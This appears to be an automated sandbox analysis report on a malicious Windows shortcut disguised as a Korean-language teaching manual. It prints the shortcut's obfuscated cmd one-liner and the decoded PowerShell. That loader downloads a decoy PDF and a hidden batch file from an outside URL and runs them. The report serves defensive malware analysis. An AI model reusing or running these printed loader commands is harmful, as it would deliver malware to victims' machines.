Analysis
- max time kernel
298s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/09/2026, 05:57
General
- Target 23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.lnk
- Size 40.5MB
- Sample260930-gnk29ssdkc
- SHA256 77ce096c1a302e425132b9f4f5a23284e12c2b853d1ddbc0e96d9fc2165322be
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://posco.or.kr/cheditor/attach/board_file/boardquery.php
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.lnk"1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /k "Set a529744=ZEnFG3ISb5gOoNpiaml9kdPwfhYerWy4ARQK8jMu6Dt0sc1Bq72LTXvCx && call %a529744:~14,1%%a529744:~12,1%%a529744:~23,1%%a529744:~27,1%%a529744:~28,1%%a529744:~44,1%%a529744:~25,1%%a529744:~27,1%%a529744:~18,1%%a529744:~18,1% -%a529744:~27,1%%a529744:~56,1%%a529744:~27,1%%a529744:~45,1%%a529744:~39,1%%a529744:~42,1%%a529744:~15,1%%a529744:~12,1%%a529744:~2,1%%a529744:~14,1%%a529744:~12,1%%a529744:~18,1%%a529744:~15,1%%a529744:~45,1%%a529744:~30,1% %a529744:~8,1%%a529744:~30,1%%a529744:~14,1%%a529744:~16,1%%a529744:~44,1%%a529744:~44,1% -%a529744:~45,1%%a529744:~12,1%%a529744:~17,1%%a529744:~17,1%%a529744:~16,1%%a529744:~2,1%%a529744:~21,1% ""$%a529744:~1,1%%a529744:~10,1%%a529744:~8,1%%a529744:~1,1%%a529744:~4,1%%a529744:~35,1%%a529744:~12,1%%a529744:~39,1%%a529744:~6,1%%a529744:~29,1%%a529744:~11,1%=$%a529744:~27,1%%a529744:~2,1%%a529744:~54,1%:%a529744:~52,1%%a529744:~1,1%%a529744:~38,1%%a529744:~22,1%+'Nnc4iei.exe';$%a529744:~30,1%%a529744:~6,1%%a529744:~20,1%%a529744:~10,1%%a529744:~53,1%='%a529744:~55,1%:\%a529744:~29,1%%a529744:~15,1%%a529744:~2,1%%a529744:~21,1%%a529744:~12,1%%a529744:~23,1%%a529744:~44,1%\%a529744:~7,1%%a529744:~30,1%%a529744:~44,1%%a529744:~42,1%%a529744:~27,1%%a529744:~17,1%%a529744:~5,1%%a529744:~50,1%\%a529744:~45,1%%a529744:~39,1%%a529744:~28,1%%a529744:~18,1%.%a529744:~27,1%%a529744:~56,1%%a529744:~27,1%';%a529744:~55,1%%a529744:~12,1%%a529744:~14,1%%a529744:~30,1%-%a529744:~6,1%%a529744:~42,1%%a529744:~27,1%%a529744:~17,1% -%a529744:~22,1%%a529744:~16,1%%a529744:~42,1%%a529744:~25,1% $%a529744:~30,1%%a529744:~6,1%%a529744:~20,1%%a529744:~10,1%%a529744:~53,1% -%a529744:~41,1%%a529744:~27,1%%a529744:~44,1%%a529744:~42,1%%a529744:~15,1%%a529744:~2,1%%a529744:~16,1%%a529744:~42,1%%a529744:~15,1%%a529744:~12,1%%a529744:~2,1% $%a529744:~1,1%%a529744:~10,1%%a529744:~8,1%%a529744:~1,1%%a529744:~4,1%%a529744:~35,1%%a529744:~12,1%%a529744:~39,1%%a529744:~6,1%%a529744:~29,1%%a529744:~11,1% -%a529744:~3,1%%a529744:~12,1%%a529744:~28,1%%a529744:~45,1%%a529744:~27,1%;$%a529744:~17,1%%a529744:~2,1%%a529744:~42,1%%a529744:~26,1%%a529744:~47,1%%a529744:~38,1%%a529744:~45,1%%a529744:~34,1%%a529744:~37,1%='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$%a529744:~52,1%%a529744:~15,1%%a529744:~2,1%%a529744:~28,1%%a529744:~33,1%%a529744:~23,1%%a529744:~25,1%%a529744:~30,1%%a529744:~49,1%=@(@{%a529744:~44,1%='Gg0tqkwICcATJLvvjn5to';%a529744:~20,1%='cwAq3TSuhSXsK9ZNMCJqqhz5heJC3ZAMNAI';%a529744:~21,1%='\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.pdf';%a529744:~23,1%=$%a529744:~42,1%%a529744:~28,1%%a529744:~39,1%%a529744:~27,1%},@{%a529744:~44,1%='eKHrH2g8pHm8eq53F';%a529744:~20,1%='mHvaLExXbzBGFXD2EjxMx5d2CC5X6lPk';%a529744:~21,1%='\oeOPVRl8.bat';%a529744:~23,1%=$%a529744:~24,1%%a529744:~16,1%%a529744:~18,1%%a529744:~44,1%%a529744:~27,1%});%a529744:~24,1%%a529744:~12,1%%a529744:~28,1%%a529744:~27,1%%a529744:~16,1%%a529744:~45,1%%a529744:~25,1%($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1% %a529744:~15,1%%a529744:~2,1% $%a529744:~52,1%%a529744:~15,1%%a529744:~2,1%%a529744:~28,1%%a529744:~33,1%%a529744:~23,1%%a529744:~25,1%%a529744:~30,1%%a529744:~49,1%){$%a529744:~37,1%%a529744:~1,1%%a529744:~24,1%%a529744:~15,1%%a529744:~10,1%%a529744:~44,1%%a529744:~6,1%%a529744:~35,1%%a529744:~25,1%%a529744:~0,1%=$%a529744:~17,1%%a529744:~2,1%%a529744:~42,1%%a529744:~26,1%%a529744:~47,1%%a529744:~38,1%%a529744:~45,1%%a529744:~34,1%%a529744:~37,1%+'?%a529744:~48,1%%a529744:~39,1%%a529744:~27,1%%a529744:~28,1%%a529744:~30,1%='+$($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~44,1%)+[%a529744:~45,1%%a529744:~25,1%%a529744:~16,1%%a529744:~28,1%]%a529744:~5,1%%a529744:~36,1%+'%a529744:~2,1%%a529744:~39,1%%a529744:~17,1%%a529744:~8,1%%a529744:~27,1%%a529744:~28,1%='+$($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~20,1%);$%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1%='\"'+$%a529744:~27,1%%a529744:~2,1%%a529744:~54,1%:%a529744:~42,1%%a529744:~27,1%%a529744:~17,1%%a529744:~14,1%+$($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~21,1%)+'\"';%a529744:~7,1%%a529744:~42,1%%a529744:~16,1%%a529744:~28,1%%a529744:~42,1%-%a529744:~22,1%%a529744:~28,1%%a529744:~12,1%%a529744:~45,1%%a529744:~27,1%%a529744:~44,1%%a529744:~44,1% -%a529744:~3,1%%a529744:~15,1%%a529744:~18,1%%a529744:~27,1%%a529744:~22,1%%a529744:~16,1%%a529744:~42,1%%a529744:~25,1% $%a529744:~1,1%%a529744:~10,1%%a529744:~8,1%%a529744:~1,1%%a529744:~4,1%%a529744:~35,1%%a529744:~12,1%%a529744:~39,1%%a529744:~6,1%%a529744:~29,1%%a529744:~11,1% -%a529744:~32,1%%a529744:~28,1%%a529744:~10,1%%a529744:~39,1%%a529744:~17,1%%a529744:~27,1%%a529744:~2,1%%a529744:~42,1%%a529744:~51,1%%a529744:~15,1%%a529744:~44,1%%a529744:~42,1% $%a529744:~37,1%%a529744:~1,1%%a529744:~24,1%%a529744:~15,1%%a529744:~10,1%%a529744:~44,1%%a529744:~6,1%%a529744:~35,1%%a529744:~25,1%%a529744:~0,1%,'-%a529744:~12,1%',$%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1% -%a529744:~29,1%%a529744:~16,1%%a529744:~15,1%%a529744:~42,1% -%a529744:~13,1%%a529744:~12,1%%a529744:~13,1%%a529744:~27,1%%a529744:~23,1%%a529744:~29,1%%a529744:~15,1%%a529744:~2,1%%a529744:~21,1%%a529744:~12,1%%a529744:~23,1%;%a529744:~15,1%%a529744:~24,1%($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~23,1%){%a529744:~7,1%%a529744:~42,1%%a529744:~16,1%%a529744:~28,1%%a529744:~42,1%-%a529744:~22,1%%a529744:~28,1%%a529744:~12,1%%a529744:~45,1%%a529744:~27,1%%a529744:~44,1%%a529744:~44,1% $%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1%;}%a529744:~27,1%%a529744:~18,1%%a529744:~44,1%%a529744:~27,1%{%a529744:~7,1%%a529744:~42,1%%a529744:~16,1%%a529744:~28,1%%a529744:~42,1%-%a529744:~22,1%%a529744:~28,1%%a529744:~12,1%%a529744:~45,1%%a529744:~27,1%%a529744:~44,1%%a529744:~44,1% $%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1% -%a529744:~29,1%%a529744:~15,1%%a529744:~2,1%%a529744:~21,1%%a529744:~12,1%%a529744:~23,1%%a529744:~7,1%%a529744:~42,1%%a529744:~30,1%%a529744:~18,1%%a529744:~27,1% %a529744:~25,1%%a529744:~15,1%%a529744:~21,1%%a529744:~21,1%%a529744:~27,1%%a529744:~2,1%}};"" && exit"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -executionpolicy bypass -command ""$EgbEGKouIWO=$env:TEMP+'Nnc4iei.exe';$yIkgX='C:\Windows\System32\curl.exe';Copy-Item -Path $yIkgX -Destination $EgbEGKouIWO -Force;$mntYBMcQj='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$TinrRwhy7=@(@{s='Gg0tqkwICcATJLvvjn5to';k='cwAq3TSuhSXsK9ZNMCJqqhz5heJC3ZAMNAI';d='\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.pdf';w=$true},@{s='eKHrH2g8pHm8eq53F';k='mHvaLExXbzBGFXD2EjxMx5d2CC5X6lPk';d='\oeOPVRl8.bat';w=$false});foreach($AN3xhXg in $TinrRwhy7){$jEfigsIKhZ=$mntYBMcQj+'?query='+$($AN3xhXg.s)+[char]38+'number='+$($AN3xhXg.k);$v1qE9Yy2Q='\"'+$env:temp+$($AN3xhXg.d)+'\"';Start-Process -FilePath $EgbEGKouIWO -ArgumentList $jEfigsIKhZ,'-o',$v1qE9Yy2Q -Wait -NoNewWindow;if($AN3xhXg.w){Start-Process $v1qE9Yy2Q;}else{Start-Process $v1qE9Yy2Q -WindowStyle hidden}};""3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\TempNnc4iei.exe"C:\Users\Admin\AppData\Local\TempNnc4iei.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=Gg0tqkwICcATJLvvjn5to&number=cwAq3TSuhSXsK9ZNMCJqqhz5heJC3ZAMNAI -o "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.pdf"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\TempNnc4iei.exe"C:\Users\Admin\AppData\Local\TempNnc4iei.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=eKHrH2g8pHm8eq53F&number=mHvaLExXbzBGFXD2EjxMx5d2CC5X6lPk -o "C:\Users\Admin\AppData\Local\Temp\oeOPVRl8.bat"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Replay Monitor
Loading Replay Monitor...
Downloads
TempNnc4iei.exe
__PSScriptPolicyTest_lh0vqwdk.cpb.ps1
memory/3936-14-0x00000000060E0000-0x0000000006434000-memory.dmp
memory/3936-15-0x00000000065A0000-0x00000000065BE000-memory.dmp
memory/3936-4-0x0000000005610000-0x0000000005632000-memory.dmp
memory/3936-5-0x0000000005F00000-0x0000000005F66000-memory.dmp
memory/3936-6-0x0000000005F70000-0x0000000005FD6000-memory.dmp
memory/3936-2-0x0000000005120000-0x0000000005130000-memory.dmp
memory/3936-0-0x0000000004FE0000-0x0000000005016000-memory.dmp
memory/3936-3-0x0000000005760000-0x0000000005D88000-memory.dmp
memory/3936-16-0x0000000006600000-0x000000000664C000-memory.dmp
memory/3936-19-0x0000000006B20000-0x0000000006B42000-memory.dmp
memory/3936-18-0x0000000006AD0000-0x0000000006AEA000-memory.dmp
memory/3936-17-0x00000000077B0000-0x0000000007846000-memory.dmp
memory/3936-20-0x0000000007E00000-0x00000000083A4000-memory.dmp
memory/3936-1-0x0000000005120000-0x0000000005130000-memory.dmp
memory/3936-25-0x0000000005120000-0x0000000005130000-memory.dmp
memory/3936-27-0x0000000005120000-0x0000000005130000-memory.dmp